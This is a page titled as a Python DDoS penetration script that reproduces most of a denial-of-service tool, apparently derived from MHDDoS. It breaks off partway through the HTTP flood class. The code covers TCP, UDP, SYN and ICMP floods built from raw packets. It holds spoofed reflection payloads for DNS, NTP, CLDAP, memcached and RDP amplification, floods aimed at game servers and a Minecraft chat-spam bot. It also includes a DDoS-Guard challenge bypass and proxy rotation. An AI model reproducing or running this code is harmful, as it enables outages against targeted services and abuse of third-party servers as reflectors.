python的ddos渗透脚本

  • #!/usr/bin/env python3
     
    from concurrent.futures import ThreadPoolExecutor, as_completed
    from contextlib import suppress
    from itertools import cycle
    from json import load
    from logging import basicConfig, getLogger, shutdown
    from math import log2, trunc
    from multiprocessing import RawValue
    from os import urandom as randbytes
    from pathlib import Path
    from re import compile
    from random import choice as randchoice, randint
    from socket import (AF_INET, IP_HDRINCL, IPPROTO_IP, IPPROTO_TCP, IPPROTO_UDP, SOCK_DGRAM, IPPROTO_ICMP,
                        SOCK_RAW, SOCK_STREAM, TCP_NODELAY, gethostbyname,
                        gethostname, socket)
    from ssl import CERT_NONE, SSLContext, create_default_context
    import ssl
    from struct import pack as data_pack
    from subprocess import run, PIPE
    from sys import argv
    from sys import exit as _exit
    from threading import Event, Thread
    from time import sleep, time
    from typing import Any, List, Set, Tuple
    from urllib import parse
    from uuid import UUID, uuid4from PyRoxy import Proxy, ProxyChecker, ProxyType, ProxyUtiles
    from PyRoxy import Tools as ProxyTools
    from certifi import where
    from cloudscraper import create_scraper
    from dns import resolver
    from icmplib import ping
    from impacket.ImpactPacket import IP, TCP, UDP, Data, ICMP
    from psutil import cpu_percent, net_io_counters, process_iter, virtual_memory
    from requests import Response, Session, exceptions, get, cookies
    from yarl import URL
    from base64 import b64encodebasicConfig(format='[%(asctime)s - %(levelname)s] %(message)s',
                datefmt="%H:%M:%S")
    logger = getLogger("MHDDoS")
    logger.setLevel("INFO")
    ctx: SSLContext = create_default_context(cafile=where())
    ctx.check_hostname = False
    ctx.verify_mode = CERT_NONE
    # Enforce only TLSv1.2+ (defense-in-depth: also disable older protocols explicitly)
    if hasattr(ctx, "minimum_version") and hasattr(ssl, "TLSVersion"):
        ctx.minimum_version = ssl.TLSVersion.TLSv1_2
    # Disable insecure TLS versions for additional safety
    if hasattr(ssl, "OP_NO_TLSv1"):
        ctx.options |= ssl.OP_NO_TLSv1
    if hasattr(ssl, "OP_NO_TLSv1_1"):
        ctx.options |= ssl.OP_NO_TLSv1_1__version__: str = "2.4 SNAPSHOT"
    __dir__: Path = Path(__file__).parent
    __ip__: Any = None
    tor2webs = [
                'onion.city',
                'onion.cab',
                'onion.direct',
                'onion.sh',
                'onion.link',
                'onion.ws',
                'onion.pet',
                'onion.rip',
                'onion.plus',
                'onion.top',
                'onion.si',
                'onion.ly',
                'onion.my',
                'onion.sh',
                'onion.lu',
                'onion.casa',
                'onion.com.de',
                'onion.foundation',
                'onion.rodeo',
                'onion.lat',
                'tor2web.org',
                'tor2web.fi',
                'tor2web.blutmagie.de',
                'tor2web.to',
                'tor2web.io',
                'tor2web.in',
                'tor2web.it',
                'tor2web.xyz',
                'tor2web.su',
                'darknet.to',
                's1.tor-gateways.de',
                's2.tor-gateways.de',
                's3.tor-gateways.de',
                's4.tor-gateways.de',
                's5.tor-gateways.de'
            ]with open(__dir__ / "config.json") as f:
        con = load(f)with socket(AF_INET, SOCK_DGRAM) as s:
        s.connect(("8.8.8.8", 80))
        __ip__ = s.getsockname()[0]
    class bcolors:
        HEADER = '\033[95m'
        OKBLUE = '\033[94m'
        OKCYAN = '\033[96m'
        OKGREEN = '\033[92m'
        WARNING = '\033[93m'
        FAIL = '\033[91m'
        RESET = '\033[0m'
        BOLD = '\033[1m'
        UNDERLINE = '\033[4m'
    def exit(*message):
        if message:
            logger.error(bcolors.FAIL + " ".join(message) + bcolors.RESET)
        shutdown()
        _exit(1)
    class Methods:
        LAYER7_METHODS: Set[str] = {
            "CFB", "BYPASS", "GET", "POST", "OVH", "STRESS", "DYN", "SLOW", "HEAD",
            "NULL", "COOKIE", "PPS", "EVEN", "GSB", "DGB", "AVB", "CFBUAM",
            "APACHE", "XMLRPC", "BOT", "BOMB", "DOWNLOADER", "KILLER", "TOR", "RHEX", "STOMP"
        }    LAYER4_AMP: Set[str] = {
            "MEM", "NTP", "DNS", "ARD",
            "CLDAP", "CHAR", "RDP"
        }    LAYER4_METHODS: Set[str] = {*LAYER4_AMP,
                                    "TCP", "UDP", "SYN", "VSE", "MINECRAFT",
                                    "MCBOT", "CONNECTION", "CPS", "FIVEM", "FIVEM-TOKEN",
                                    "TS3", "MCPE", "ICMP", "OVH-UDP",
                                    }    ALL_METHODS: Set[str] = {*LAYER4_METHODS, *LAYER7_METHODS}
    search_engine_agents = [
        # ---------------- Google ----------------
        "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
        "Googlebot/2.1 (+http://www.googlebot.com/bot.html)",
        "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; "
        "+http://www.google.com/bot.html) Chrome/103.0.5060.134 Safari/537.36",
        "Googlebot-Image/1.0",
        "Googlebot-Video/1.0",
        "Googlebot-News",
        "AdsBot-Google (+http://www.google.com/adsbot.html)",
        "AdsBot-Google-Mobile-Apps",
        "AdsBot-Google-Mobile (+http://www.google.com/mobile/adsbot.html)",
        "Mediapartners-Google",
        "FeedFetcher-Google; (+http://www.google.com/feedfetcher.html)",    # ---------------- Bing / Microsoft ----------------
        "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)",
        "BingPreview/1.0b",
        "AdIdxBot/2.0 (+http://www.bing.com/bingbot.htm)",    # ---------------- Yahoo ----------------
        "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
        "Yahoo! Slurp China",    # ---------------- Yandex ----------------
        "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)",
        "YandexMobileBot/3.0 (+http://yandex.com/bots)",
        "YandexImages/3.0 (+http://yandex.com/bots)",
        "YandexVideo/3.0 (+http://yandex.com/bots)",
        "YandexNews/3.0 (+http://yandex.com/bots)",    # ---------------- Baidu ----------------
        "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
        "Baiduspider-image (+http://www.baidu.com/search/spider.html)",
        "Baiduspider-video (+http://www.baidu.com/search/spider.html)",    # ---------------- DuckDuckGo ----------------
        "DuckDuckBot/1.0; (+http://duckduckgo.com/duckduckbot.html)",
        "DuckDuckBot/2.0; (+http://duckduckgo.com/duckduckbot.html)",    # ---------------- Applebot ----------------
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 "
        "(KHTML, like Gecko) Version/14.0 Safari/605.1.15 (Applebot/0.1; "
        "+http://www.apple.com/go/applebot)",    # ---------------- Facebook / Social ----------------
        "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)",
        "Facebot/1.0",    # ---------------- Twitter ----------------
        "Twitterbot/1.0",    # ---------------- LinkedIn ----------------
        "LinkedInBot/1.0 (+https://www.linkedin.com/)",    # ---------------- Pinterest ----------------
        "Pinterest/0.2 (+http://www.pinterest.com/bot.html)",    # ---------------- Other Major Bots ----------------
        "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)",
        "SemrushBot/7~bl (+http://www.semrush.com/bot.html)",
        "MJ12bot/v1.4.8 (http://mj12bot.com/)",
        "Sogou web spider/4.0 (+http://www.sogou.com/docs/help/webmasters.htm#07)",
        "Exabot/3.0 (+http://www.exabot.com/go/robot)",
        "SeznamBot/3.2 (http://napoveda.seznam.cz/seznambot-intro/)",
        "CCBot/2.0 (+http://commoncrawl.org/faq/)",
        "DotBot/1.1 (+http://www.opensiteexplorer.org/dotbot, [email protected])"
    ]
    class Counter:
        def __init__(self, value=0):
            self._value = RawValue('i', value)    def __iadd__(self, value):
            self._value.value += value
            return self    def __int__(self):
            return self._value.value    def set(self, value):
            self._value.value = value
            return self
    REQUESTS_SENT = Counter()
    BYTES_SEND = Counter()
    class Tools:
        IP = compile("(?:\\d{1,3}\\.){3}\\d{1,3}")
        protocolRex = compile('"protocol":(\\d+)')    @staticmethod
        def humanbytes(i: int, binary: bool = False, precision: int = 2):
            MULTIPLES = [
                "B", "k{}B", "M{}B", "G{}B", "T{}B", "P{}B", "E{}B", "Z{}B", "Y{}B"
            ]
            if i > 0:
                base = 1024 if binary else 1000
                multiple = trunc(log2(i) / log2(base))
                value = i / pow(base, multiple)
                suffix = MULTIPLES[multiple].format("i" if binary else "")
                return f"{value:.{precision}f} {suffix}"
            else:
                return "-- B"    @staticmethod
        def humanformat(num: int, precision: int = 2):
            suffixes = ['', 'k', 'm', 'g', 't', 'p']
            if num > 999:
                obje = sum(
                    [abs(num / 1000.0 ** x) >= 1 for x in range(1, len(suffixes))])
                return f'{num / 1000.0 ** obje:.{precision}f}{suffixes[obje]}'
            else:
                return num    @staticmethod
        def sizeOfRequest(res: Response) -> int:
            size: int = len(res.request.method)
            size += len(res.request.url)
            size += len('\r\n'.join(f'{key}: {value}'
                                    for key, value in res.request.headers.items()))
            return size    @staticmethod
        def send(sock: socket, packet: bytes):
            global BYTES_SEND, REQUESTS_SENT
            if not sock.send(packet):
                return False
            BYTES_SEND += len(packet)
            REQUESTS_SENT += 1
            return True    @staticmethod
        def sendto(sock, packet, target):
            global BYTES_SEND, REQUESTS_SENT
            if not sock.sendto(packet, target):
                return False
            BYTES_SEND += len(packet)
            REQUESTS_SENT += 1
            return True    @staticmethod
        def dgb_solver(url, ua, pro=None):
            s = None
            idss = None
            with Session() as s:
                if pro:
                    s.proxies = pro
                hdrs = {
                    "User-Agent": ua,
                    "Accept": "text/html",
                    "Accept-Language": "en-US",
                    "Connection": "keep-alive",
                    "Sec-Fetch-Dest": "document",
                    "Sec-Fetch-Mode": "navigate",
                    "Sec-Fetch-Site": "none",
                    "Sec-Fetch-User": "?1",
                    "TE": "trailers",
                    "DNT": "1"
                }
                with s.get(url, headers=hdrs) as ss:
                    for key, value in ss.cookies.items():
                        s.cookies.set_cookie(cookies.create_cookie(key, value))
                hdrs = {
                    "User-Agent": ua,
                    "Accept": "*/*",
                    "Accept-Language": "en-US,en;q=0.5",
                    "Accept-Encoding": "gzip, deflate",
                    "Referer": url,
                    "Sec-Fetch-Dest": "script",
                    "Sec-Fetch-Mode": "no-cors",
                    "Sec-Fetch-Site": "cross-site"
                }
                with s.post("https://check.ddos-guard.net/check.js", headers=hdrs) as ss:
                    for key, value in ss.cookies.items():
                        if key == '__ddg2':
                            idss = value
                        s.cookies.set_cookie(cookies.create_cookie(key, value))            hdrs = {
                    "User-Agent": ua,
                    "Accept": "image/webp,*/*",
                    "Accept-Language": "en-US,en;q=0.5",
                    "Accept-Encoding": "gzip, deflate",
                    "Cache-Control": "no-cache",
                    "Referer": url,
                    "Sec-Fetch-Dest": "script",
                    "Sec-Fetch-Mode": "no-cors",
                    "Sec-Fetch-Site": "cross-site"
                }
                with s.get(f"{url}.well-known/ddos-guard/id/{idss}", headers=hdrs) as ss:
                    for key, value in ss.cookies.items():
                        s.cookies.set_cookie(cookies.create_cookie(key, value))
                    return s        return False    @staticmethod
        def safe_close(sock=None):
            if sock:
                sock.close()
    class Minecraft:
        @staticmethod
        def varint(d: int) -> bytes:
            o = b''
            while True:
                b = d & 0x7F
                d >>= 7
                o += data_pack("B", b | (0x80 if d > 0 else 0))
                if d == 0:
                    break
            return o    @staticmethod
        def data(*payload: bytes) -> bytes:
            payload = b''.join(payload)
            return Minecraft.varint(len(payload)) + payload    @staticmethod
        def short(integer: int) -> bytes:
            return data_pack('>H', integer)    @staticmethod
        def long(integer: int) -> bytes:
            return data_pack('>q', integer)    @staticmethod
        def handshake(target: Tuple[str, int], version: int, state: int) -> bytes:
            return Minecraft.data(Minecraft.varint(0x00),
                                  Minecraft.varint(version),
                                  Minecraft.data(target[0].encode()),
                                  Minecraft.short(target[1]),
                                  Minecraft.varint(state))    @staticmethod
        def handshake_forwarded(target: Tuple[str, int], version: int, state: int, ip: str, uuid: UUID) -> bytes:
            return Minecraft.data(Minecraft.varint(0x00),
                                  Minecraft.varint(version),
                                  Minecraft.data(
                                      target[0].encode(),
                                      b"\x00",
                                      ip.encode(),
                                      b"\x00",
                                      uuid.hex.encode()
                                  ),
                                  Minecraft.short(target[1]),
                                  Minecraft.varint(state))    @staticmethod
        def login(protocol: int, username: str) -> bytes:
            if isinstance(username, str):
                username = username.encode()
            return Minecraft.data(Minecraft.varint(0x00 if protocol >= 391 else \
                                                   0x01 if protocol >= 385 else \
                                                   0x00),
                                  Minecraft.data(username))    @staticmethod
        def keepalive(protocol: int, num_id: int) -> bytes:
            return Minecraft.data(Minecraft.varint(0x0F if protocol >= 755 else \
                                                   0x10 if protocol >= 712 else \
                                                   0x0F if protocol >= 471 else \
                                                   0x10 if protocol >= 464 else \
                                                   0x0E if protocol >= 389 else \
                                                   0x0C if protocol >= 386 else \
                                                   0x0B if protocol >= 345 else \
                                                   0x0A if protocol >= 343 else \
                                                   0x0B if protocol >= 336 else \
                                                   0x0C if protocol >= 318 else \
                                                   0x0B if protocol >= 107 else \
                                                   0x00),
                                  Minecraft.long(num_id) if protocol >= 339 else \
                                  Minecraft.varint(num_id))    @staticmethod
        def chat(protocol: int, message: str) -> bytes:
            return Minecraft.data(Minecraft.varint(0x03 if protocol >= 755 else \
                                                   0x03 if protocol >= 464 else \
                                                   0x02 if protocol >= 389 else \
                                                   0x01 if protocol >= 343 else \
                                                   0x02 if protocol >= 336 else \
                                                   0x03 if protocol >= 318 else \
                                                   0x02 if protocol >= 107 else \
                                                   0x01),
                                  Minecraft.data(message.encode()))
    # noinspection PyBroadException,PyUnusedLocal
    class Layer4(Thread):
        _method: str
        _target: Tuple[str, int]
        _ref: Any
        SENT_FLOOD: Any
        _amp_payloads = cycle
        _proxies: List[Proxy] = None    def __init__(self,
                     target: Tuple[str, int],
                     ref: List[str] = None,
                     method: str = "TCP",
                     synevent: Event = None,
                     proxies: Set[Proxy] = None,
                     protocolid: int = 74):
            Thread.__init__(self, daemon=True)
            self._amp_payload = None
            self._amp_payloads = cycle([])
            self._ref = ref
            self.protocolid = protocolid
            self._method = method
            self._target = target
            self._synevent = synevent
            if proxies:
                self._proxies = list(proxies)        self.methods = {
                "UDP": self.UDP,
                "SYN": self.SYN,
                "VSE": self.VSE,
                "TS3": self.TS3,
                "MCPE": self.MCPE,
                "FIVEM": self.FIVEM,
                "FIVEM-TOKEN": self.FIVEMTOKEN,
                "OVH-UDP": self.OVHUDP, 
                "MINECRAFT": self.MINECRAFT,
                "CPS": self.CPS,
                "CONNECTION": self.CONNECTION,
                "MCBOT": self.MCBOT,
            }    def run(self) -> None:
            if self._synevent: self._synevent.wait()
            self.select(self._method)
            while self._synevent.is_set():
                self.SENT_FLOOD()    def open_connection(self,
                            conn_type=AF_INET,
                            sock_type=SOCK_STREAM,
                            proto_type=IPPROTO_TCP):
            if self._proxies:
                s = randchoice(self._proxies).open_socket(
                    conn_type, sock_type, proto_type)
            else:
                s = socket(conn_type, sock_type, proto_type)
            s.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1)
            s.settimeout(.9)
            s.connect(self._target)
            return s    def TCP(self) -> None:
            s = None
            with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
                while Tools.send(s, randbytes(1024)):
                    continue
            Tools.safe_close(s)    def MINECRAFT(self) -> None:
            handshake = Minecraft.handshake(self._target, self.protocolid, 1)
            ping = Minecraft.data(b'\x00')        s = None
            with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
                while Tools.send(s, handshake):
                    Tools.send(s, ping)
            Tools.safe_close(s)    def CPS(self) -> None:
            global REQUESTS_SENT
            s = None
            with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
                REQUESTS_SENT += 1
            Tools.safe_close(s)    def alive_connection(self) -> None:
            s = None
            with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
                while s.recv(1):
                    continue
            Tools.safe_close(s)    def CONNECTION(self) -> None:
            global REQUESTS_SENT
            with suppress(Exception):
                Thread(target=self.alive_connection).start()
                REQUESTS_SENT += 1    def UDP(self) -> None:
            s = None
            with suppress(Exception), socket(AF_INET, SOCK_DGRAM) as s:
                while Tools.sendto(s, randbytes(1024), self._target):
                    continue
            Tools.safe_close(s)    def OVHUDP(self) -> None:
            with socket(AF_INET, SOCK_RAW, IPPROTO_UDP) as s:
                s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
                while True:
                    for payload in self._generate_ovhudp():
                        Tools.sendto(s, payload, self._target)
            Tools.safe_close(s)    def ICMP(self) -> None:
            payload = self._genrate_icmp()
            s = None
            with suppress(Exception), socket(AF_INET, SOCK_RAW, IPPROTO_ICMP) as s:
                s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
                while Tools.sendto(s, payload, self._target):
                    continue
            Tools.safe_close(s)    def SYN(self) -> None:
            s = None
            with suppress(Exception), socket(AF_INET, SOCK_RAW, IPPROTO_TCP) as s:
                s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
                while Tools.sendto(s, self._genrate_syn(), self._target):
                    continue
            Tools.safe_close(s)    def AMP(self) -> None:
            s = None
            with suppress(Exception), socket(AF_INET, SOCK_RAW, IPPROTO_UDP) as s:
                s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
                while Tools.sendto(s, *next(self._amp_payloads)):
                    continue
            Tools.safe_close(s)    def MCBOT(self) -> None:
            s = None        with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
                Tools.send(s, Minecraft.handshake_forwarded(self._target,
                                                            self.protocolid,
                                                            2,
                                                            ProxyTools.Random.rand_ipv4(),
                                                            uuid4()))
                username = f"{con['MCBOT']}{ProxyTools.Random.rand_str(5)}"
                password = b64encode(username.encode()).decode()[:8].title()
                Tools.send(s, Minecraft.login(self.protocolid, username))
                
                sleep(1.5)            Tools.send(s, Minecraft.chat(self.protocolid, "/register %s %s" % (password, password)))
                Tools.send(s, Minecraft.chat(self.protocolid, "/login %s" % password))            while Tools.send(s, Minecraft.chat(self.protocolid, str(ProxyTools.Random.rand_str(256)))):
                    sleep(1.1)        Tools.safe_close(s)    def VSE(self) -> None:
            global BYTES_SEND, REQUESTS_SENT
            payload = (b'\xff\xff\xff\xff\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65'
                       b'\x20\x51\x75\x65\x72\x79\x00')
            with socket(AF_INET, SOCK_DGRAM) as s:
                while Tools.sendto(s, payload, self._target):
                    continue
            Tools.safe_close(s)    def FIVEMTOKEN(self) -> None:
            global BYTES_SEND, REQUESTS_SENT        # Generete token and guid
            token = str(uuid4())
            steamid_min = 76561197960265728
            steamid_max = 76561199999999999
            guid = str(randint(steamid_min, steamid_max))        # Build Payload
            payload_str = f"token={token}&guid={guid}"
            payload = payload_str.encode('utf-8')        with socket(AF_INET, SOCK_DGRAM) as s:
                while Tools.sendto(s, payload, self._target):
                    continue
            Tools.safe_close(s)    def FIVEM(self) -> None:
            global BYTES_SEND, REQUESTS_SENT
            payload = b'\xff\xff\xff\xffgetinfo xxx\x00\x00\x00'
            with socket(AF_INET, SOCK_DGRAM) as s:
                while Tools.sendto(s, payload, self._target):
                    continue
            Tools.safe_close(s)    def TS3(self) -> None:
            global BYTES_SEND, REQUESTS_SENT
            payload = b'\x05\xca\x7f\x16\x9c\x11\xf9\x89\x00\x00\x00\x00\x02'
            with socket(AF_INET, SOCK_DGRAM) as s:
                while Tools.sendto(s, payload, self._target):
                    continue
            Tools.safe_close(s)    def MCPE(self) -> None:
            global BYTES_SEND, REQUESTS_SENT
            payload = (b'\x61\x74\x6f\x6d\x20\x64\x61\x74\x61\x20\x6f\x6e\x74\x6f\x70\x20\x6d\x79\x20\x6f'
                       b'\x77\x6e\x20\x61\x73\x73\x20\x61\x6d\x70\x2f\x74\x72\x69\x70\x68\x65\x6e\x74\x20'
                       b'\x69\x73\x20\x6d\x79\x20\x64\x69\x63\x6b\x20\x61\x6e\x64\x20\x62\x61\x6c\x6c'
                       b'\x73')
            with socket(AF_INET, SOCK_DGRAM) as s:
                while Tools.sendto(s, payload, self._target):
                    continue
            Tools.safe_close(s)    def _generate_ovhudp(self) -> List[bytes]:
            packets = []        methods = ["PGET", "POST", "HEAD", "OPTIONS", "PURGE"]
            paths = ['/0/0/0/0/0/0', '/0/0/0/0/0/0/', '\\0\\0\\0\\0\\0\\0', '\\0\\0\\0\\0\\0\\0\\', '/', '/null', '/%00%00%00%00']        for _ in range(randint(2, 4)):
                ip = IP()
                ip.set_ip_src(__ip__)
                ip.set_ip_dst(self._target[0])            udp = UDP()
                udp.set_uh_sport(randint(1024, 65535))
                udp.set_uh_dport(self._target[1])            payload_size = randint(1024, 2048)
                random_part = randbytes(payload_size).decode("latin1", "ignore")            method = randchoice(methods)
                path = randchoice(paths)            payload_str = (
                    f"{method} {path}{random_part} HTTP/1.1\n"
                    f"Host: {self._target[0]}:{self._target[1]}\r\n\r\n"
                )            payload = payload_str.encode("latin1", "ignore")            udp.contains(Data(payload))
                ip.contains(udp)            packets.append(ip.get_packet())        return packets    def _genrate_syn(self) -> bytes:
            ip: IP = IP()
            ip.set_ip_src(__ip__)
            ip.set_ip_dst(self._target[0])
            tcp: TCP = TCP()
            tcp.set_SYN()
            tcp.set_th_flags(0x02)
            tcp.set_th_dport(self._target[1])
            tcp.set_th_sport(ProxyTools.Random.rand_int(32768, 65535))
            ip.contains(tcp)
            return ip.get_packet()    def _genrate_icmp(self) -> bytes:
            ip: IP = IP()
            ip.set_ip_src(__ip__)
            ip.set_ip_dst(self._target[0])
            icmp: ICMP = ICMP()
            icmp.set_icmp_type(icmp.ICMP_ECHO)
            icmp.contains(Data(b"A" * ProxyTools.Random.rand_int(16, 1024)))
            ip.contains(icmp)
            return ip.get_packet()    def _generate_amp(self):
            payloads = []
            for ref in self._ref:
                ip: IP = IP()
                ip.set_ip_src(self._target[0])
                ip.set_ip_dst(ref)            ud: UDP = UDP()
                ud.set_uh_dport(self._amp_payload[1])
                ud.set_uh_sport(self._target[1])            ud.contains(Data(self._amp_payload[0]))
                ip.contains(ud)            payloads.append((ip.get_packet(), (ref, self._amp_payload[1])))
            return payloads    def select(self, name):
            self.SENT_FLOOD = self.TCP
            for key, value in self.methods.items():
                if name == key:
                    self.SENT_FLOOD = value
                elif name == "ICMP":
                    self.SENT_FLOOD = self.ICMP
                    self._target = (self._target[0], 0)
                elif name == "RDP":
                    self._amp_payload = (
                        b'\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00',
                        3389)
                    self.SENT_FLOOD = self.AMP
                    self._amp_payloads = cycle(self._generate_amp())
                elif name == "CLDAP":
                    self._amp_payload = (
                        b'\x30\x25\x02\x01\x01\x63\x20\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01\x00'
                        b'\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x63\x6c\x61\x73\x73\x30\x00',
                        389)
                    self.SENT_FLOOD = self.AMP
                    self._amp_payloads = cycle(self._generate_amp())
                elif name == "MEM":
                    self._amp_payload = (
                        b'\x00\x01\x00\x00\x00\x01\x00\x00gets p h e\n', 11211)
                    self.SENT_FLOOD = self.AMP
                    self._amp_payloads = cycle(self._generate_amp())
                elif name == "CHAR":
                    self._amp_payload = (b'\x01', 19)
                    self.SENT_FLOOD = self.AMP
                    self._amp_payloads = cycle(self._generate_amp())
                elif name == "ARD":
                    self._amp_payload = (b'\x00\x14\x00\x00', 3283)
                    self.SENT_FLOOD = self.AMP
                    self._amp_payloads = cycle(self._generate_amp())
                elif name == "NTP":
                    self._amp_payload = (b'\x17\x00\x03\x2a\x00\x00\x00\x00', 123)
                    self.SENT_FLOOD = self.AMP
                    self._amp_payloads = cycle(self._generate_amp())
                elif name == "DNS":
                    self._amp_payload = (
                        b'\x45\x67\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01\x02\x73\x6c\x00\x00\xff\x00\x01\x00'
                        b'\x00\x29\xff\xff\x00\x00\x00\x00\x00\x00',
                        53)
                    self.SENT_FLOOD = self.AMP
                    self._amp_payloads = cycle(self._generate_amp())
    # noinspection PyBroadException,PyUnusedLocal
    class HttpFlood(Thread):
        _proxies: List[Proxy] = None
        _payload: str
        _defaultpayload: Any
        _req_type: str
        _useragents: List[str]
        _referers: List[str]
        _target: URL
        _method: str
        _rpc: int
        _synevent: Any
        SENT_FLOOD: Any    def __init__(self,
                     thread_id: int,
                     target: URL,
                     host: str,
                     method: str = "GET",
                     rpc: int = 1,
                     synevent: Event = None,
                     useragents: Set[str] = None,
                     referers: Set[str] = None,
                     proxies: Set[Proxy] = None) -> None:
            Thread.__init__(self, daemon=True)
            self.SENT_FLOOD = None
            self._thread_id = thread_id
            self._synevent = synevent
            self._rpc = rpc
            self._method = method
            self._target = target
            self._host = host
            self._raw_target = (self._host, (self._target.port or 80))        if not self._target.host[len(self._target.host) - 1].isdigit():
                self._raw_target = (self._host, (self._target.port or 80))        self.methods = {
                "POST": self.POST,
                "CFB": self.CFB,
                "CFBUAM": self.CFBUAM,
                "XMLRPC": self.XMLRPC,
                "BOT": self.BOT,
                "APACHE": self.APACHE,
                "BYPASS": self.BYPASS,
                "DGB": self.DGB,
                "OVH": self.OVH,
                "AVB": self.AVB,
                "STRESS": self.STRESS,
                "DYN": self.DYN,
                "SLOW": self.SLOW,
                "GSB": self.GSB,
                "RHEX": self.RHEX,
                "STOMP": self.STOMP,
                "NULL": self.NULL,
                "COOKIE": self.COOKIES,
                "TOR": self.TOR,
                "EVEN": self.EVEN,
                "DOWNLOADER": self.DOWNLOADER,
                "BOMB": self.BOMB,
                "PPS": self.PPS,
                "KILLER": self.KILLER,
            }        if not referers:
                referers: List[str] = [
                    "https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=",
                    ",https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer"
                    "/sharer.php?u=",
                    ",https://drive.google.com/viewerng/viewer?url=",
                    ",https://www.google.com/translate?u="
                ]
            self._referers = list(referers)
            if proxies:
                self._proxies = list(proxies)        if not useragents:
                useragents: List[str] = [
                    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 ',
                    'Safari/537.36',
                    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 ',
                    'Safari/537.36',
                    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 ',
                    'Safari/537.36',
                    'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0',
                    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19582',
                    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19577',
                    'Mozilla/5.0 (X11) AppleWebKit/62.41 (KHTML, like Gecko) Edge/17.10859 Safari/452.6',
                    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14931',
                    'Chrome (AppleWebKit/537.1; Chrome50.0; Windows NT 6.3) AppleWebKit/537.36 (KHTML like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393',
                    'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.9200',
                    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586',
                    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246',
                    'Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30',
                    'Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30',
                    'Mozilla/5.0 (Linux; U; Android 2.3; en-us) AppleWebKit/999+ (KHTML, like Gecko) Safari/999.9',
                    'Mozilla/5.0 (Linux; U; Android 2.3.5; zh-cn; HTC_IncredibleS_S710e Build/GRJ90) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
                    'Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; HTC Vision Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
                    'Mozilla/5.0 (Linux; U; Android 2.3.4; fr-fr; HTC Desire Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
                    'Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; T-Mobile myTouch 3G Slide Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
                    'Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC_Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
                    'Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC_Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari',
                    'Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
